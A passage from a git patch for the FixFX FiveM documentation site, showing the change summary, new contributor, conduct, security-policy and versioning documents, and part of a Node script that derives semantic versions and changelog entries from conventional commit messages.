From e9cce4429abfd5ec65694ed9345d8a30d3c58b09 Mon Sep 17 00:00:00 2001 From: TheRealToxicDev Date: Mon, 26 Jan 2026 18:20:46 -0700 Subject: [PATCH 1/6] chore: tons of new stuff, bug fixes and more --- .github/AUTOMATIC_RELEASES.md | 218 +++ .github/CODE_OF_CONDUCT.md | 52 + CONTRIBUTING.md => .github/CONTRIBUTING.md | 14 +- .github/SECURITY.md | 69 + .github/VERSIONING.md | 154 ++ .github/scripts/analyze-commits.js | 262 +++ .github/scripts/get-version.js | 155 ++ .github/scripts/update-trusted-hosts.js | 198 ++ .github/scripts/validate-trusted-hosts.js | 86 + .github/scripts/validate-tsconfig.js | 102 + .github/workflows/auto-release.yml | 182 ++ .github/workflows/format-ci.yml | 24 + .github/workflows/knip-ci.yml | 38 + .github/workflows/lint-ci.yml | 24 + .github/workflows/semver-ci.yml | 115 -- .github/workflows/tsconfig-validation.yml | 60 + .github/workflows/update-trusted-hosts.yml | 94 + .github/workflows/validate-providers.yml | 166 ++ .husky/commit-msg | 4 + CHANGELOG.md | 182 ++ README.md | 202 +- app/(blog)/blog/(root)/page.tsx | 45 +- app/(blog)/blog/[slug]/page.tsx | 51 +- app/(blog)/blog/atom.xml/route.ts | 47 + app/(blog)/blog/feed.json/route.ts | 40 + app/(blog)/blog/feed.xml/route.ts | 44 + app/(blog)/opengraph-image.tsx | 105 +- app/(blog)/twitter-image.tsx | 78 +- app/(docs)/docs/[...slug]/page.tsx | 12 +- app/(docs)/docs/layout.tsx | 18 + app/(docs)/opengraph-image.tsx | 128 +- app/(docs)/twitter-image.tsx | 78 +- app/(landing)/opengraph-image.tsx | 153 +- app/(landing)/page.tsx | 15 + app/(landing)/twitter-image.tsx | 83 +- app/apple-icon.tsx | 91 + app/artifacts/layout.tsx | 14 +- app/artifacts/opengraph-image.tsx | 154 +- app/artifacts/twitter-image.tsx | 80 +- app/banner-wide/route.tsx | 114 ++ app/banner/route.tsx | 114 ++ app/brand/page.tsx | 127 ++ app/chat/layout.tsx | 15 +- app/chat/opengraph-image.tsx | 124 +- app/chat/twitter-image.tsx | 80 +- app/components/file-source.tsx | 16 +- app/components/image-modal.tsx | 19 +- app/docs-og/[...slug]/route.tsx | 2 + app/favicon.ico | Bin 196637 -> 37294 bytes app/hosting/layout.tsx | 22 + app/hosting/opengraph-image.tsx | 169 ++ app/hosting/page.tsx | 278 +++ app/hosting/provider-card.tsx | 148 ++ app/hosting/twitter-image.tsx | 169 ++ app/icon.tsx | 90 + app/layout.config.tsx | 10 +- app/layout.tsx | 210 ++- app/manifest.ts | 37 +- app/natives/layout.tsx | 14 +- app/natives/opengraph-image.tsx | 131 +- app/natives/page.tsx | 2 +- app/natives/twitter-image.tsx | 80 +- app/og/[...slug]/route.tsx | 2 + app/opengraph-image.tsx | 179 ++ app/robots.ts | 47 +- app/sitemap.ts | 103 +- app/twitter-image.tsx | 101 + commitlint.config.js | 25 + commitlintrc.json | 5 + content/blog/first-fivem-server-guide.mdx | 129 +- content/blog/fivem-evolution.mdx | 133 +- content/blog/txadmin-ultimate-guide.mdx | 144 +- content/blog/welcome.mdx | 159 +- content/docs/cfx/best-practices/index.mdx | 9 + .../performance-optimization.mdx | 9 + .../best-practices/resource-development.mdx | 9 + content/docs/cfx/best-practices/security.mdx | 10 + .../cfx/best-practices/server-management.mdx | 10 + .../cfx/common-errors/database-connection.mdx | 40 + .../docs/cfx/common-errors/event-handling.mdx | 21 + .../cfx/common-errors/framework-errors.mdx | 46 + content/docs/cfx/common-errors/index.mdx | 11 + .../cfx/common-errors/manifest-errors.mdx | 35 +- .../docs/cfx/common-errors/network-issues.mdx | 7 + .../cfx/common-errors/resource-loading.mdx | 14 + .../server-thread-hitch-warning.mdx | 26 +- .../cfx/common-errors/state-bag-issues.mdx | 16 + .../cfx/common-errors/thread-stalling.mdx | 14 +- content/docs/cfx/common-tools/debug-tools.mdx | 27 + content/docs/cfx/common-tools/index.mdx | 27 + .../docs/cfx/common-tools/network-tools.mdx | 24 + content/docs/cfx/common-tools/profiler.mdx | 14 + .../cfx/common-tools/resource-monitor.mdx | 32 + content/docs/cfx/faq.mdx | 2 + content/docs/cfx/index.mdx | 74 +- .../cfx/performance/client-optimization.mdx | 10 + .../cfx/performance/database-optimization.mdx | 11 + content/docs/cfx/performance/index.mdx | 12 +- .../cfx/performance/resource-optimization.mdx | 11 + .../cfx/performance/server-optimization.mdx | 11 + .../cfx/resource-development/client-side.mdx | 28 + .../cfx/resource-development/debugging.mdx | 16 + .../docs/cfx/resource-development/index.mdx | 32 + .../resource-development/manifest-files.mdx | 33 + .../resource-development/nui-development.mdx | 16 + .../cfx/resource-development/server-side.mdx | 33 + content/docs/cfx/support.mdx | 2 + content/docs/core/api/artifacts.mdx | 1 + content/docs/core/api/chat.mdx | 1 + content/docs/core/api/contributors.mdx | 1 + content/docs/core/api/natives.mdx | 1 + content/docs/core/api/search.mdx | 1 + content/docs/core/disclaimer.mdx | 4 + content/docs/core/faq.mdx | 54 +- content/docs/core/glossary.mdx | 73 +- content/docs/core/index.mdx | 45 +- content/docs/frameworks/esx/development.mdx | 2 + content/docs/frameworks/esx/index.mdx | 87 +- content/docs/frameworks/esx/setup.mdx | 17 + .../docs/frameworks/esx/troubleshooting.mdx | 4 + content/docs/frameworks/index.mdx | 70 +- .../docs/frameworks/qbcore/development.mdx | 2 + content/docs/frameworks/qbcore/index.mdx | 119 +- content/docs/frameworks/qbcore/setup.mdx | 21 + .../frameworks/qbcore/troubleshooting.mdx | 4 + content/docs/guides/backup-recovery.mdx | 18 + content/docs/guides/common-threats.mdx | 511 +++++ content/docs/guides/database-setup.mdx | 37 + content/docs/guides/database-tools.mdx | 6 + content/docs/guides/index.mdx | 172 +- content/docs/guides/meta.json | 9 +- content/docs/guides/resource-installation.mdx | 25 + content/docs/guides/security-permissions.mdx | 32 + content/docs/guides/server-artifacts.mdx | 18 + content/docs/guides/server-configuration.mdx | 12 + content/docs/txadmin/advanced.mdx | 16 + content/docs/txadmin/backup-system.mdx | 17 + content/docs/txadmin/configuration.mdx | 91 +- content/docs/txadmin/discord-bot.mdx | 391 ++++ content/docs/txadmin/index.mdx | 106 +- content/docs/txadmin/linux/install.mdx | 198 -- content/docs/txadmin/meta.json | 9 +- content/docs/txadmin/permissions.mdx | 153 +- content/docs/txadmin/server-management.mdx | 165 +- content/docs/txadmin/troubleshooting.mdx | 36 +- content/docs/txadmin/web-panel.mdx | 9 + content/docs/txadmin/windows/index.mdx | 56 +- content/docs/txadmin/windows/install.mdx | 566 ++++-- content/docs/vmenu/configuration.mdx | 193 +- content/docs/vmenu/features.mdx | 317 ++-- content/docs/vmenu/index.mdx | 174 +- content/docs/vmenu/permissions.mdx | 245 +-- content/docs/vmenu/setup.mdx | 58 +- content/docs/vmenu/troubleshooting.mdx | 31 +- knip.json | 79 + lib/examples/artifacts.go | 584 ------ lib/providers.ts | 113 ++ lib/trusted-hosts.ts | 84 + next.config.mjs | 14 + package.json | 40 +- packages/core/src/useFetch/index.ts | 24 +- packages/providers/GUIDELINES.md | 120 ++ packages/providers/README.md | 234 +++ packages/providers/TRUSTED_HOSTS_README.md | 148 ++ packages/providers/schema.json | 95 + packages/providers/trusted-hosts-schema.json | 68 + packages/providers/trusted-hosts.json | 30 + packages/providers/zap-hosting/provider.json | 41 + {types => packages/types}/artifacts.ts | 0 packages/ui/src/components/accordion.tsx | 56 + packages/ui/src/components/chat-sidebar.tsx | 229 ++- packages/ui/src/components/index.ts | 2 + packages/ui/src/components/mdx-components.tsx | 1659 +++++++++++++++++ .../ui/src/components/mobile-chat-drawer.tsx | 167 +- .../ui/src/components/mobile-chat-header.tsx | 31 +- packages/ui/src/components/source-code.tsx | 16 +- packages/ui/src/components/type-table.tsx | 212 +++ .../src/core/artifacts/artifacts-content.tsx | 774 +++++--- .../src/core/artifacts/artifacts-drawer.tsx | 166 +- .../src/core/artifacts/artifacts-sidebar.tsx | 38 +- .../artifacts/mobile-artifacts-header.tsx | 29 +- packages/ui/src/core/chat/ChatInterface.tsx | 208 ++- packages/ui/src/core/layout/hero.tsx | 6 +- .../core/natives/mobile-natives-header.tsx | 54 +- .../ui/src/core/natives/natives-content.tsx | 356 +++- .../src/core/natives/natives-filter-sheet.tsx | 265 +-- .../ui/src/core/natives/natives-sidebar.tsx | 393 ++-- packages/ui/src/styles/globals.css | 600 ++++++ packages/ui/src/styles/index.ts | 1 + .../ui/src/styles}/sheet-handle.css | 0 packages/utils/src/constants/keywords.ts | 187 +- public/.well-known/gpc.json | 4 + public/.well-known/security.txt | 13 + public/ai.txt | 48 + public/humans.txt | 30 + public/llms-full.txt | 186 ++ public/llms.txt | 63 + public/logo.png | Bin 374282 -> 37294 bytes public/og.png | Bin 6037604 -> 0 bytes public/opensearch.xml | 17 + .../{txadmin => citizenfx}/cfx-auth.png | Bin public/screenshots/citizenfx/cfx-portal.png | Bin 0 -> 90461 bytes .../{txadmin => citizenfx}/create-a-key.png | Bin .../server-license-name.png | Bin .../these-buttons-suck.png | Bin .../{txadmin => citizenfx}/view-your-key.png | Bin .../txadmin/discord-bot/settings.png | Bin 0 -> 290367 bytes public/screenshots/txadmin/players-page.png | Bin 0 -> 184247 bytes public/screenshots/txadmin/resources-tab.png | Bin 0 -> 160378 bytes public/zap.png | Bin 0 -> 89692 bytes tsconfig.json | 37 +- 211 files changed, 15299 insertions(+), 3727 deletions(-) create mode 100644 .github/AUTOMATIC_RELEASES.md create mode 100644 .github/CODE_OF_CONDUCT.md rename CONTRIBUTING.md => .github/CONTRIBUTING.md (93%) create mode 100644 .github/SECURITY.md create mode 100644 .github/VERSIONING.md create mode 100644 .github/scripts/analyze-commits.js create mode 100644 .github/scripts/get-version.js create mode 100644 .github/scripts/update-trusted-hosts.js create mode 100644 .github/scripts/validate-trusted-hosts.js create mode 100644 .github/scripts/validate-tsconfig.js create mode 100644 .github/workflows/auto-release.yml create mode 100644 .github/workflows/format-ci.yml create mode 100644 .github/workflows/knip-ci.yml create mode 100644 .github/workflows/lint-ci.yml delete mode 100644 .github/workflows/semver-ci.yml create mode 100644 .github/workflows/tsconfig-validation.yml create mode 100644 .github/workflows/update-trusted-hosts.yml create mode 100644 .github/workflows/validate-providers.yml create mode 100644 .husky/commit-msg create mode 100644 app/(blog)/blog/atom.xml/route.ts create mode 100644 app/(blog)/blog/feed.json/route.ts create mode 100644 app/(blog)/blog/feed.xml/route.ts create mode 100644 app/apple-icon.tsx create mode 100644 app/banner-wide/route.tsx create mode 100644 app/banner/route.tsx create mode 100644 app/brand/page.tsx create mode 100644 app/hosting/layout.tsx create mode 100644 app/hosting/opengraph-image.tsx create mode 100644 app/hosting/page.tsx create mode 100644 app/hosting/provider-card.tsx create mode 100644 app/hosting/twitter-image.tsx create mode 100644 app/icon.tsx create mode 100644 app/opengraph-image.tsx create mode 100644 app/twitter-image.tsx create mode 100644 commitlint.config.js create mode 100644 commitlintrc.json create mode 100644 content/docs/guides/common-threats.mdx create mode 100644 content/docs/txadmin/discord-bot.mdx delete mode 100644 content/docs/txadmin/linux/install.mdx create mode 100644 knip.json delete mode 100644 lib/examples/artifacts.go create mode 100644 lib/providers.ts create mode 100644 lib/trusted-hosts.ts create mode 100644 packages/providers/GUIDELINES.md create mode 100644 packages/providers/README.md create mode 100644 packages/providers/TRUSTED_HOSTS_README.md create mode 100644 packages/providers/schema.json create mode 100644 packages/providers/trusted-hosts-schema.json create mode 100644 packages/providers/trusted-hosts.json create mode 100644 packages/providers/zap-hosting/provider.json rename {types => packages/types}/artifacts.ts (100%) create mode 100644 packages/ui/src/components/accordion.tsx create mode 100644 packages/ui/src/components/mdx-components.tsx create mode 100644 packages/ui/src/components/type-table.tsx rename {styles => packages/ui/src/styles}/sheet-handle.css (100%) create mode 100644 public/.well-known/gpc.json create mode 100644 public/.well-known/security.txt create mode 100644 public/ai.txt create mode 100644 public/humans.txt create mode 100644 public/llms-full.txt create mode 100644 public/llms.txt delete mode 100644 public/og.png create mode 100644 public/opensearch.xml rename public/screenshots/{txadmin => citizenfx}/cfx-auth.png (100%) create mode 100644 public/screenshots/citizenfx/cfx-portal.png rename public/screenshots/{txadmin => citizenfx}/create-a-key.png (100%) rename public/screenshots/{txadmin => citizenfx}/server-license-name.png (100%) rename public/screenshots/{txadmin => citizenfx}/these-buttons-suck.png (100%) rename public/screenshots/{txadmin => citizenfx}/view-your-key.png (100%) create mode 100644 public/screenshots/txadmin/discord-bot/settings.png create mode 100644 public/screenshots/txadmin/players-page.png create mode 100644 public/screenshots/txadmin/resources-tab.png create mode 100644 public/zap.png diff --git a/.github/AUTOMATIC_RELEASES.md b/.github/AUTOMATIC_RELEASES.md new file mode 100644 index 0000000..c846b79 --- /dev/null +++ b/.github/AUTOMATIC_RELEASES.md @@ -0,0 +1,218 @@ +# Automatic Release System + +FixFX uses automated versioning and changelog generation based on commit messages. When you push to `develop` or `master`, the system automatically: + +1. **Analyzes commits** since the last release +2. **Determines the next version** (semantic versioning) +3. **Updates CHANGELOG.md** +4. **Creates a GitHub release** with auto-generated notes + +No manual intervention needed! + +## Commit Message Format (Conventional Commits) + +The automation works by analyzing commit messages in this format: + +``` +type: description + +type(scope): description + +type!: description (with breaking change) +``` + +### Types + +- **`feat`** - New feature → Minor version bump (1.0.0 → 1.1.0) +- **`fix`** - Bug fix → Patch version bump (1.0.0 → 1.0.1) +- **`breaking`** or **`feat!`** - Breaking change → Major version bump (1.0.0 → 2.0.0) +- **`chore`** - Build, deps, config changes (NOT included in release) +- **`docs`** - Documentation only (NOT included in release) +- **`test`** - Test changes (NOT included in release) + +### Examples + +```bash +# Feature +git commit -m "feat: add hosting provider directory structure" + +# Fix +git commit -m "fix: correct provider validation schema reference" + +# With scope +git commit -m "feat(providers): add guidelines documentation" + +# Breaking change (using !) +git commit -m "feat!: reorganize provider file structure" + +# Breaking change (using breaking keyword) +git commit -m "breaking: remove deprecated API endpoints" + +# Chore (won't trigger release) +git commit -m "chore: update dependencies" +git commit -m "docs: improve README" +``` + +## Workflow Triggers + +### ✅ Runs Automatically On + +- **Direct pushes to `develop` branch** - Analyzes commits, updates changelog, creates release +- **Direct pushes to `master` branch** - Same as develop +- **Merges to `develop`/`master`** - Same as direct pushes +- **Changes to frontend files** - Only triggers when frontend code changes + +### ❌ Does NOT Run On + +- **Pull requests** - Prevents duplicate automation when merging +- **Non-frontend changes** - Ignores changes to backend, docs, etc. +- **Manual `chore:`, `docs:`, `test:` commits** - No version bump needed + +## What Gets Released + +The system looks at commits since the **last GitHub release tag** and: + +- Counts **breaking changes** → Major version bump +- Counts **features** → Minor version bump +- Counts **fixes** → Patch version bump +- Ignores **chore/docs/test** commits + +### Examples + +``` +Last Release: v1.0.0 + +Commits since: + ✅ feat: add new feature + ✅ fix: fix a bug + +Next Release: v1.1.0 (minor bump for feature) +``` + +``` +Last Release: v1.0.0 + +Commits since: + ✅ breaking: remove old API + ✅ feat: add new feature + ✅ fix: fix a bug + +Next Release: v2.0.0 (major bump for breaking change) +``` + +## Automatic Changelog Generation + +The changelog is automatically generated from your commit messages: + +```markdown +## [1.1.0] - 2026-01-26 + +### Breaking Changes +- Remove deprecated authentication method + +### Added +- Add hosting provider directory structure +- Add provider guidelines documentation + +### Fixed +- Correct schema validation reference +``` + +This appears in: +1. **CHANGELOG.md** - Updated automatically +2. **GitHub Release Notes** - Added automatically + +## Disabling Auto-Release + +If you need to prevent a release for a particular push: + +```bash +# Use [skip-release] in commit message +git commit -m "feat: add feature [skip-release]" + +# Or use non-conventional commit format (will be listed as "Other Changes") +git commit -m "Update something random" +``` + +Note: Non-feature/fix/breaking commits are grouped as "Other Changes" and don't trigger version bumps. + +## Manual Releases + +For complete control, you can still create releases manually: + +1. Push your commits with conventional messages +2. Manually create a release on GitHub with tag `v1.2.3` +3. The system will recognize it as the latest version +4. Next auto-release will calculate from this version + +## Troubleshooting + +### "No pending changes that require a release" + +Your commits don't include `feat:`, `fix:`, or `breaking:` prefixes. + +**Solution:** Use proper conventional commit format + +```bash +# Wrong +git commit -m "added new provider support" + +# Right +git commit -m "feat: add new provider support" +``` + +### Release created but CHANGELOG not updated + +The CHANGELOG update happens in the workflow. Check: +1. Workflow logs in GitHub Actions +2. That commits use conventional format +3. That at least one `feat:`, `fix:`, or `breaking:` commit exists + +### Version not incrementing correctly + +Check the last release tag: + +```bash +git tag # List all tags +git describe --tags --abbrev=0 # Show latest tag +``` + +Make sure the tag follows `vMAJOR.MINOR.PATCH` format. + +## Commit Message Guidelines + +For the best auto-generated changelogs: + +### Good commit messages +``` +feat: add provider guidelines documentation +feat(providers): reorganize directory structure +fix: resolve schema validation issue +breaking: remove deprecated API endpoints +``` + +### Bad commit messages +``` +update stuff +fixed things +WIP: feature +various improvements +``` + +The commit message after the type/scope is included in the changelog, so keep them clear and descriptive! + +## GitHub Actions Secrets + +No additional secrets needed! The workflow uses the default `GITHUB_TOKEN` which has permission to: +- Read commits and tags +- Create releases +- Push changes back to the repository + +## Next Steps + +1. **Start using conventional commits** in your workflow +2. **Push to develop/master** when ready to release +3. **Let the automation handle** changelog and release creation +4. **Monitor GitHub Actions** to verify successful releases + +That's it! No more manual version tracking. diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..b42a5b9 --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,52 @@ +# Code of Conduct + +## Our Commitment + +We are committed to providing a welcoming, inclusive, and harassment-free environment for everyone who participates in the FixFX project. This applies to all project spaces including GitHub, Discord, and any other communication channels. + +## Expected Behavior + +All participants are expected to: + +- Be respectful and considerate in all interactions +- Provide constructive feedback and accept it gracefully +- Focus on what is best for the community and project +- Show empathy towards other community members +- Use inclusive language + +## Unacceptable Behavior + +The following behaviors are not tolerated: + +- Harassment, intimidation, or discrimination of any kind +- Personal attacks, insults, or derogatory comments +- Trolling or deliberately inflammatory remarks +- Publishing others' private information without consent +- Spam, excessive self-promotion, or off-topic content +- Any conduct that would be considered inappropriate in a professional setting + +## Scope + +This Code of Conduct applies to all project spaces and to individuals representing the project in public spaces. This includes the GitHub repository, Discord server, social media, and any other official channels. + +## Enforcement + +Instances of unacceptable behavior may be reported to the project maintainers: + +- **Email**: [hey@codemeapixel.dev](mailto:hey@codemeapixel.dev) +- **Discord**: [discord.gg/Vv2bdC44Ge](https://discord.gg/Vv2bdC44Ge) + +All reports will be reviewed and investigated promptly and fairly. Maintainers are obligated to respect the privacy and security of the reporter. + +### Consequences + +Project maintainers will determine appropriate action for violations, which may include: + +1. A private warning with clarity on the violation +2. A public warning +3. Temporary ban from project spaces +4. Permanent ban from project spaces + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org/), version 2.1. diff --git a/CONTRIBUTING.md b/.github/CONTRIBUTING.md similarity index 93% rename from CONTRIBUTING.md rename to .github/CONTRIBUTING.md index 224622b..ab5055f 100644 --- a/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -1,10 +1,10 @@ # Contributing to FixFX -Thank you for your interest in contributing to FixFX! We welcome contributions from the community and appreciate your help in making FixFX better. +Thank you for your interest in contributing to FixFX. We welcome contributions from the community. ## Code of Conduct -Please be respectful and constructive in all interactions. We are committed to providing a welcoming and inclusive environment for all contributors. +Please read our [Code of Conduct](CODE_OF_CONDUCT.md) before participating. We expect all contributors to be respectful and constructive. ## How to Contribute @@ -283,14 +283,10 @@ When adding new features: ## Questions? -- Check existing issues and discussions -- Ask in our [Discord community](https://discord.gg/ErBmGbZfwT) -- Create a discussion on GitHub +- Check existing [GitHub Issues](https://github.com/CodeMeAPixel/FixFX/issues) +- Join our [Discord](https://discord.gg/Vv2bdC44Ge) +- Email: [hey@codemeapixel.dev](mailto:hey@codemeapixel.dev) ## License By contributing to FixFX, you agree that your contributions will be licensed under the AGPL 3.0 License. - ---- - -Thank you for contributing to FixFX! Your efforts help make FiveM development more accessible to everyone. diff --git a/.github/SECURITY.md b/.github/SECURITY.md new file mode 100644 index 0000000..ff8c239 --- /dev/null +++ b/.github/SECURITY.md @@ -0,0 +1,69 @@ +# Security Policy + +## Supported Versions + +We actively maintain security updates for the following versions: + +| Version | Supported | +|---------|-----------| +| Latest | Yes | +| < 1.0 | No | + +## Reporting a Vulnerability + +We take security vulnerabilities seriously. If you discover a security issue, please report it responsibly. + +### How to Report + +**Do not open a public issue for security vulnerabilities.** + +Instead, please use one of the following methods: + +1. **Email**: Send details to [hey@codemeapixel.dev](mailto:hey@codemeapixel.dev) +2. **GitHub Security Advisories**: Use the [Security tab](https://github.com/CodeMeAPixel/FixFX/security/advisories/new) to privately report the issue + +### What to Include + +When reporting a vulnerability, please provide: + +- A clear description of the vulnerability +- Steps to reproduce the issue +- Potential impact of the vulnerability +- Any suggested fixes or mitigations (if applicable) + +### Response Timeline + +- **Initial Response**: Within 48 hours +- **Status Update**: Within 7 days +- **Resolution Target**: Within 30 days for critical issues + +### After Reporting + +1. We will acknowledge receipt of your report +2. We will investigate and validate the issue +3. We will work on a fix and coordinate disclosure timing with you +4. We will credit you in the security advisory (unless you prefer anonymity) + +## Security Best Practices + +When contributing to FixFX: + +- Keep dependencies updated +- Never commit secrets, API keys, or credentials +- Follow secure coding practices +- Validate and sanitize all user inputs +- Use environment variables for sensitive configuration + +## Scope + +This security policy applies to: + +- The FixFX frontend application +- The FixFX backend API +- Official deployment infrastructure + +Third-party integrations and dependencies are outside our direct control but we will work with upstream maintainers when issues are discovered. + +## Recognition + +We appreciate security researchers who help keep FixFX safe. Contributors who responsibly disclose vulnerabilities will be acknowledged in our security advisories and README. diff --git a/.github/VERSIONING.md b/.github/VERSIONING.md new file mode 100644 index 0000000..7a02fae --- /dev/null +++ b/.github/VERSIONING.md @@ -0,0 +1,154 @@ +# Versioning Guide + +FixFX uses GitHub releases as the single source of truth for version numbers. This approach eliminates version duplication between `package.json` and `CHANGELOG.md`. + +## How It Works + +1. **GitHub Releases** are authoritative - version lives in release tags (e.g., `v1.0.0`) +2. **CHANGELOG.md** documents changes for each version +3. **Script** (`get-version.js`) fetches the latest release from GitHub API +4. **package.json** does NOT have a hardcoded version field + +## Getting the Current Version + +### From Command Line + +```bash +# Get version as plain text +npm run version + +# Get version as JSON +npm run version:json + +# Direct script usage +node .github/scripts/get-version.js +``` + +### In JavaScript/TypeScript Code + +```typescript +// Async import and use +import { getVersion } from '../.github/scripts/get-version.js'; + +const version = await getVersion(); +console.log(`FixFX v${version}`); +``` + +### In Build Process + +Add to your build script: + +```bash +node .github/scripts/get-version.js --file public/version.txt +``` + +## Creating a New Release + +When releasing a new version: + +1. **Update CHANGELOG.md** with the version changes +2. **Create a GitHub Release** with tag `v1.0.0` (format: `vMAJOR.MINOR.PATCH`) +3. **Script automatically discovers** the version +4. **No need to update package.json** + +### Example Release Process + +```bash +# 1. Update CHANGELOG.md sections +# Change "## [1.1.0] - Unreleased" to "## [1.1.0] - 2026-01-26" + +# 2. Commit changes +git add CHANGELOG.md +git commit -m "chore: release v1.1.0" +git push + +# 3. Create release on GitHub +# Go to https://github.com/CodeMeAPixel/FixFX/releases/new +# Tag: v1.1.0 +# Title: Release v1.1.0 +# Copy content from CHANGELOG for this version +# Click "Publish release" + +# 4. The version is now discoverable by the script! +npm run version # outputs: 1.1.0 +``` + +## Tag Naming Convention + +- **Must start with `v`**: `v1.0.0` ✅ (not `1.0.0`) +- **Must follow Semantic Versioning**: `vMAJOR.MINOR.PATCH` +- **Optional prerelease**: `v1.0.0-beta.0`, `v1.0.0-rc.1` +- **Invalid**: `v1.0`, `1.0.0`, `version-1.0.0` + +## Fallback Behavior + +If no releases exist yet: +- Script returns `0.0.0-unknown` +- Useful during initial development +- Once you create first release, it auto-discovers + +### For Strict Mode (CI/CD) + +```bash +node .github/scripts/get-version.js --strict +# Exits with code 1 if fetch fails +``` + +## GitHub API Rate Limits + +The script respects GitHub's API rate limits: + +- **Unauthenticated**: 60 requests/hour +- **Authenticated**: 5,000 requests/hour (if `GITHUB_TOKEN` env var set) + +For CI/CD, set the token: + +```bash +GITHUB_TOKEN=your_token npm run version +``` + +## When to Use This Approach + +✅ **Good for:** +- Open source projects with public releases +- Teams that release regularly +- Reducing merge conflicts on version changes +- Keeping version in one place (GitHub) + +❌ **Not ideal for:** +- Private packages without public releases +- High-frequency build systems (performance sensitive) +- Offline-first development (no API access) + +## Troubleshooting + +### "No releases found" + +You haven't created any releases yet. Create the first one: + +```bash +# On GitHub: Releases → Draft a new release +# Tag: v1.0.0 +# Publish +``` + +### "GitHub API request timed out" + +Network issue or GitHub API is slow. Try again or set `GITHUB_TOKEN` for priority. + +### "Invalid version format" + +Release tag doesn't match expected format. Use `vMAJOR.MINOR.PATCH` format. + +## Alternative: Reading from File + +If you prefer storing version in a file instead: + +```json +// version.json +{ + "version": "1.0.0" +} +``` + +But GitHub releases approach is cleaner since releases are already required for distribution. diff --git a/.github/scripts/analyze-commits.js b/.github/scripts/analyze-commits.js new file mode 100644 index 0000000..222ecff --- /dev/null +++ b/.github/scripts/analyze-commits.js @@ -0,0 +1,262 @@ +#!/usr/bin/env node + +/** + * Analyze commits since the last release + * + * Determines the next version based on commit messages using + * conventional commits format (feat:, fix:, breaking:) + * + * Usage: + * node analyze-commits.js + * node analyze-commits.js --json + */ + +const { execSync } = require('child_process'); + +const REPO_OWNER = 'CodeMeAPixel'; +const REPO_NAME = 'FixFX'; + +function exec(command) { + try { + return execSync(command, { encoding: 'utf-8' }).trim(); + } catch (error) { + throw new Error(`Command failed: ${command}\n${error.message}`); + } +} + +function getLastTag() { + try { + return exec('git describe --tags --abbrev=0 2>/dev/null || echo ""'); + } catch { + return ''; + } +} + +function getCommitsSinceTag(tag) { + try { + if (!tag) { + // No tags yet, get all commits + return exec('git log --oneline --all'); + } + return exec(`git log ${tag}..HEAD --oneline`); + } catch (error) { + return ''; + } +} + +function parseVersion(versionString) { + // Remove 'v' prefix if present + const version = versionString.replace(/^v/, ''); + const parts = version.split('.'); + + return { + major: parseInt(parts[0]) || 0, + minor: parseInt(parts[1]) || 0, + patch: parseInt(parts[2]) || 0, + prerelease: parts[3] ? parts.slice(3).join('.') : null, + }; +} + +function parseCommits(commitLog) { + const commits = commitLog.split('\n').filter(Boolean); + + const analysis = { + features: [], + fixes: [], + breaking: [], + other: [], + }; + + for (const commit of commits) { + const match = commit.match(/^([a-f0-9]+)\s+(.+?):\s*(.+?)(?:\s*\((.+?)\))?$/); + + if (!match) { + analysis.other.push(commit); + continue; + } + + const [, hash, type, message, scope] = match; + const commitData = { + hash: hash.substring(0, 7), + type, + message: message.trim(), + scope: scope || null, + full: commit, + }; + + if (type === 'feat') { + analysis.features.push(commitData); + } else if (type === 'fix') { + analysis.fixes.push(commitData); + } else if (type === 'breaking' || message.includes('BREAKING CHANGE')) { + analysis.breaking.push(commitData); + } else { + analysis.other.push(commitData); + } + } + + return analysis; +} + +function calculateNextVersion(currentVersion, analysis) { + const current = parseVersion(currentVersion || '0.0.0'); + + // Breaking changes = major version bump + if (analysis.breaking.length > 0) { + return { + major: current.major + 1, + minor: 0, + patch: 0, + }; + } + + // Features = minor version bump + if (analysis.features.length > 0) { + return { + major: current.major, + minor: current.minor + 1, + patch: 0, + }; + } + + // Fixes only = patch version bump + if (analysis.fixes.length > 0) { + return { + major: current.major, + minor: current.minor, + patch: current.patch + 1, + }; + } + + // No relevant commits + return null; +} + +function formatVersion(versionObj) { + if (!versionObj) return null; + return `${versionObj.major}.${versionObj.minor}.${versionObj.patch}`; +} + +function generateChangelogEntry(version, analysis) { + const date = new Date().toISOString().split('T')[0]; + let entry = `## [${version}] - ${date}\n\n`; + + if (analysis.breaking.length > 0) { + entry += `### Breaking Changes\n`; + for (const commit of analysis.breaking) { + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + } + entry += '\n'; + } + + if (analysis.features.length > 0) { + entry += `### Added\n`; + for (const commit of analysis.features) { + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + } + entry += '\n'; + } + + if (analysis.fixes.length > 0) { + entry += `### Fixed\n`; + for (const commit of analysis.fixes) { + entry += `- ${commit.message}${commit.scope ? ` (${commit.scope})` : ''} (${commit.hash})\n`; + } + entry += '\n'; + } + + if (analysis.other.length > 0) { + entry += `### Other Changes\n`; + for (const commit of analysis.other) { + entry += `- ${commit}\n`; + } + entry += '\n'; + } + + return entry; +} + +async function analyzeCommits() { + try { + // Get the last tag + const lastTag = getLastTag(); + const currentVersion = lastTag ? lastTag.replace(/^v/, '') : '0.0.0'; + + // Get commits since last tag + const commitLog = getCommitsSinceTag(lastTag); + + if (!commitLog) { + return { + hasPendingChanges: false, + currentVersion, + nextVersion: null, + analysis: null, + changelog: null, + }; + } + + // Parse commits + const analysis = parseCommits(commitLog); + + // Calculate next version + const nextVersion = calculateNextVersion(currentVersion, analysis); + + if (!nextVersion) { + return { + hasPendingChanges: false, + currentVersion, + nextVersion: null, + analysis, + changelog: null, + }; + } + + const nextVersionString = formatVersion(nextVersion); + const changelog = generateChangelogEntry(nextVersionString, analysis); + + return { + hasPendingChanges: true, + currentVersion, + nextVersion: nextVersionString, + analysis, + changelog, + tag: `v${nextVersionString}`, + }; + } catch (error) { + console.error(`Error analyzing commits: ${error.message}`); + process.exit(1); + } +} + +async function main() { + const args = process.argv.slice(2); + const useJson = args.includes('--json'); + + const result = await analyzeCommits(); + + if (useJson) { + console.log(JSON.stringify(result, null, 2)); + } else { + console.log(`Current Version: ${result.currentVersion}`); + if (result.nextVersion) { + console.log(`Next Version: ${result.nextVersion}`); + console.log(`Tag: ${result.tag}`); + 